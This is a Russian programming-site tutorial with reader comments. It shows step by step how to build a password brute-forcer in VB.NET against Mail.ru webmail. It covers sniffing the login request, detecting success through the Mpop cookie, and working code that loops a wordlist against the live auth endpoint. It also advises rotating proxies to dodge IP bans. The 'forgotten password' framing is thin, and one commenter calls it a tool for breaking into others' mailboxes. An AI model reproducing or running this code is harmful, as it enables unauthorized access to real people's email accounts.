Программирование
Веб программирование

Написание брутфорса. Часть 1. [VB.NET]

 
 

Всем привет! Наконец-то я нашел время для написания большой статьи.

В ней я покажу, как писать BruteForce (разг. "брут").

1) Немного истории

Еще в начале года я начал искать информацию по написанию брутфорса в сети.

Ее было очень мало, пришлось даже кое-что переводить с испанского =)).

Но я не сдавался и продолжал поиски, и вот месяца два назад я во всем разобрался и написал простой однопоточный брутфорс. Но до "гигантов" типа "Brutus AET2" было далеко. Я стал искать информацию про многопоточность, и мои поиски увенчались успехом. Теперь все информация собрана и я пишу эту статью, чтобы тем кто решил написать брут не пришлось лазать по уголкам сети, собирая информацию.

2)Теория

В своем предыдущем рассказе, я не раз упомянул слово брутфорс. Что же это такое?

Покажу на примере: Допустим, вы забыли свой пароль не Email (кстати, это происходит довольно часто). 

Можно попробовать восстановить  пароль через контрольный вопрос или мобильный телефон, но если мобильного нет, а в контрольном вопросе написано  - "Сколько зубов на правой лапе у моего кота?”.

Что тогда делать? Правильно, пытаться подобрать пароль. Но как??? Вручную?? Конечно же нет, для этого и создан брутфорс, чтобы делать перебор за вас.

Принцип работы простой: Указываем наш Email и подключаем список паролей. Жмем Start и идем заниматься своими делами. Когда будет подобран правильный пароль, брутфорс выведет его на экран.

Все бы хорошо, но если у нас в словаре миллион паролей? Брут отправит миллион запросов на сервер и сервер подумает, что мы пытаемся взломать чужой ящик, и просто заблокирует наш IP адрес. Как тогда быть?

Для этого предусмотрели прокси-сервера. Я не буду рассказывать, что это такое, так как это довольно обширная тема. Почитать про прокси можно тут. В двух словах: прокси поменяют наш IP и перебор продолжится.

 

Последний пункт теории - режимы перебора.

Их всего два: однопоточный и многопоточный.

 

В однопоточном режиме брутфорс берет первый пароль и ждет ответ от сервера. Когда ответ получен - берет следующий пароль и т.д.

 

В многопоточном режиме брутфорс создает множество потоков. В каждом из них происходит перебор, т. е. брутфорсу не нужно ждать ответа от сервера для продолжения. Он просто создает следующий поток и перебор продолжается.

Пример: Вы решили скачать фильм через торрент. Вы нашли торрент файл и поставили закачку. Пока идет закачка, вы, например, зашли в Контакт и переписываетесь с друзьями. В одном потоке работает браузер, а в другом торрент усердно качает фильм, а в третьем антивирус выполняет сканирование системы и т.д

Надеюсь, понятно объяснил.

 

2)Долгожданная практика

Пока мы напишем простой однопоточный брут (чтобы мозги не перегружать), а во второй части стать, я расскажу о создании многопоточного перебора и смене

прокси + приведу свои части кода, которые вы можете использовать в своих проектах.

Итак! Поехали.

Открываем VB.NET, создаем обычный проект и делаем примерно такой дизайн:

brute_1

Теперь надо определиться с сервером и "отснифать" запросы.

Я покажу на примере Маил.ру:

1)Скачиваем программу HTTP Analyzer.

С помощью нее мы посмотрим, как происходит авторизация на сервере.

2) Запускаем Stand-Alone версию программы:3

brute_2

3) Идем на Маил.ру почту и вводим данные, но пока не входим:

 brute_3

 

4) В HttpAnalyzer'е отщелкиваем паузу.

Возвращаемся в Маил Почту и жмем Войти.

Теперь обратно в сниффер. Наблюдаем следующее:

brute_4  

Синим цветом  выделен POST запрос на скрипт авторизации.

URL - адрес скрипта авторизации

Смотрим, какие данные отправляются:

Login -  Логин

Domain - Домен

Password - Пароль

Saveauth - Надо ли сохранять наши данные (точно не уверен)

Про последний параметр ничего сказать не могу, но он нам и не нужем:н  =)

Пробуем отправить запрос:

brute_5

Если все введено правильно, то попадаем на свою почту.

Если нет, то увидим сообщение об ошибке входа.

5) Теперь мы знаем, как происходит авторизация на сервере, но нам еще надо сравнить кукисы  при правильных и неправильных данных.

Для этого идем на вкладку Cookies. Нас интересует правая часть:

brute_6

Видим, что создаются две куки: Mpop и t.

"Set - Cookie" - поле заголовка отправляемого на сервер.

6) Теперь введем левые данные и проанализируем результат.

Видим, что кукисы не создаются.

Отлично! Теперь мы знаем как написать брутфорс:

 

Для начала объявим массив, в который поместим пароли из словаря:

Public PassList As New ArrayList

Код для кнопки "..." (три точки):

Dim f As New OpenFileDialog ' Создаем новый диалог октрытия файла
If f.ShowDialog = Windows.Forms.DialogResult.OK And f.FileName <> "" Then ' Если пользователь выбрал список, то
PassList.AddRange(IO.File.ReadAllLines(f.FileName)) ' Считываем все пароли в массив

txtPassList.Text=f.FileName ' Выводим в текстбокс путь до файла

End If

Теперь код для кнопки Начать перебор:

If txtLogin.Text <> "" Then ' Если  ввели логин то
            Dim i As Integer = 0 ' Объявляем счетчик для перебора
            For i = 0 To PassList.Count - 1 ' Перебираем, пока есть пароли
                System.Threading.Thread.Sleep(1000)
                        Dim Request As Net.HttpWebRequest = Net.HttpWebRequest.Create("http://win.mail.ru/cgi-bin/auth?Login=" & txtLogin.Text & "&Domain=" & Split(txtLogin.Text, "@")(1) _
                        & "&Password=" & PassList(i)) ' Формируем запрос
                Dim Response As Net.HttpWebResponse
                'Метод передачи данных:
                Request.Method = "POST"
                'Запрещаем атопереходы
                Request.AllowAutoRedirect = False
                'Отправляем запрос
                Response = Request.GetResponse
                'Проверяем куки
                If Response.Headers("Set-Cookie").IndexOf("Mpop") = 0 Then ' Если кука Mpop есть, то
                    MsgBox("Пароль подобран: " + PassList(i)) ' Выводим парвильный пароль
                Exit Sub ' Заканчиваем перебор
            End If
        Next
End If

Если что-то непонятно  - напишите мне. Свои контакты оставлю ниже.

Делаем словарь паролей типа:

73736236

[тут правильный пароль]

hh28236e

32843

234411dsdfd

 

Скопируйте и поменяйте красный текст на свой пароль.

Подключаем все к программе:

brute_7

Жмем начать перебор.

Если увидите окошко Пароль подобран, значит все работает.

 

P.S Извините за опечатки.

P.P.S Если что-то не понятно, то пишите. Всегда рад помочь!


Есть вопросы? Спроси на нашем форуме!!
Кулхацкер [08.11.2012 12:39]

Я тебе по выделяю код!!! Ну что за народ блин?!

XeoN [08.11.2012 14:37]

А чем его выделять??

Кулхацкер [08.11.2012 16:40]

Итак, перенесено в VB.NET. Вот блин все все для взлома пишут, так если бы просто писали, так еще и код норовят выделить!

Огромная просьба следующим поколениям: НЕ ВЫДЕЛЯЙТЕ КОД!!!

Артём [12.12.2012 11:17]

ну ты капец мега мощь

исходинк [17.01.2013 01:11]

Хоть бы исходник выложил

DikusarKolia [27.03.2013 16:45]

Очень полезный урок:) У меня всё получилось на Visual Basic 2008, правда я немного подредактировал

imbeetle [30.04.2013 16:53]

Здравствуйте! Выбивает ошибку Compile error: User-defined type not defined
весь текст вставлял и делал все как тут описано(((
что мне делать стоит Visual Basic 6.0
Мой скайп im_beetle

EverybodyLies280 [30.04.2013 17:20]

imbeetle, код, как написано выше, не для VB6, а для vb.net

EverybodyLies280 [30.04.2013 20:55]

imbeetle, предсказывая следующий вопрос, отвечу: да, это сильно различные языки, код будет переписывать проблемно.

kepamuk [25.10.2013 18:03]

не работает, пишет txtPassList не объявлен, Может быть недоступен из-за своего уровня защиты

Stertor370 [25.10.2013 23:26]

Это прога полная лажа. Не читайте даже.
На деле там 100 и 1 черезжопие - могут забанить по ip, парсинг токена и тп. Об этом в статье ни слова.

Samou4120 [28.10.2013 05:32]

kepamuk, txtPassList это имя TextBox'a в котором будет указан
путь к файлу со списком паролей.

kepamuk [28.10.2013 14:45]

Samou4, мне теперь при нажатии на "Начать перебор" пишет Необработанное исключение типа "System.IndexOutOfRangeException" в WindowsApplication1.exe

Дополнительные сведения: Индекс находился вне границ массива.

Не подскажите в чём дело ? спасибо !

pjp07190 [29.10.2013 16:28]

но если мобильного нет, а в контрольном вопросе написано - "Сколько зубов на правой лапе у моего кота?”.

А еще может Солнце не взойти.... Всем понятно, что это для взлома чужих ящиков. Занятие сродни копаться в чужом белье...



Оставлять комментарии можно только зарегистрированным




Предупреждение: Вся информация представлена исключительно в образовательных целях.
Ни авторы, ни администрация не несут ответственности в случае ее использования в противозаконных целях.